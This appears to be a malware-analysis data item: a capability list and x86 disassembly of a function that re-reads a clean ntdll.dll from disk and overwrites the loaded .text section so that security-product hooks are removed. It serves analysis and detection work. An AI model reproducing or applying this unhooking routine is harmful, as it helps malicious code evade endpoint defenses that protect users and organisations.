Function at 0x401b13
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Overwrite dll .text section to remove hooks
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x64
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x14], eax
mov dword [esp + 0xc], 0xc
lea eax, [ebp - 0x40]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._GetModuleInformation_16
sub esp, 0x10
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x18], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov dword [esp], str.c:windows_system32_ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call eax
sub esp, 0x18
mov dword [ebp - 0x20], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_MapViewOfFile]
call eax
sub esp, 0x14
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 0x18]
add eax, edx
mov dword [ebp - 0x2c], eax
mov word [ebp - 0xa], 0
jmp 0x401d40
mov eax, dword [ebp - 0x2c]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0x2c]
lea ecx, [edx + eax]
movzx edx, word [ebp - 0xa]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
add eax, ecx
add eax, 0x18
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], str..text
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x401d35
mov dword [ebp - 0x44], 0
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0x30]
mov ecx, dword [edx + 0xc]
mov edx, dword [ebp - 0x18]
add edx, ecx
mov ecx, edx
lea edx, [ebp - 0x44]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov dword [esp], ecx
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
test eax, eax
setne al
mov byte [ebp - 0x31], al
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0x30]
mov ecx, dword [edx + 0xc]
mov edx, dword [ebp - 0x24]
add edx, ecx
mov ebx, edx
mov edx, dword [ebp - 0x30]
mov ecx, dword [edx + 0xc]
mov edx, dword [ebp - 0x18]
add edx, ecx
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], edx
call sym._memcpy
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + 8]
mov ecx, dword [ebp - 0x30]
mov ebx, dword [ecx + 0xc]
mov ecx, dword [ebp - 0x18]
add ecx, ebx
mov ebx, ecx
lea ecx, [ebp - 0x44]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
test eax, eax
setne al
mov byte [ebp - 0x31], al
movzx eax, word [ebp - 0xa]
add eax, 1
mov word [ebp - 0xa], ax
mov eax, dword [ebp - 0x2c]
movzx eax, word [eax + 6]
cmp word [ebp - 0xa], ax
jb 0x401c4a
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FreeLibrary]
call eax
sub esp, 4
nop
mov ebx, dword [ebp - 4]
leave
ret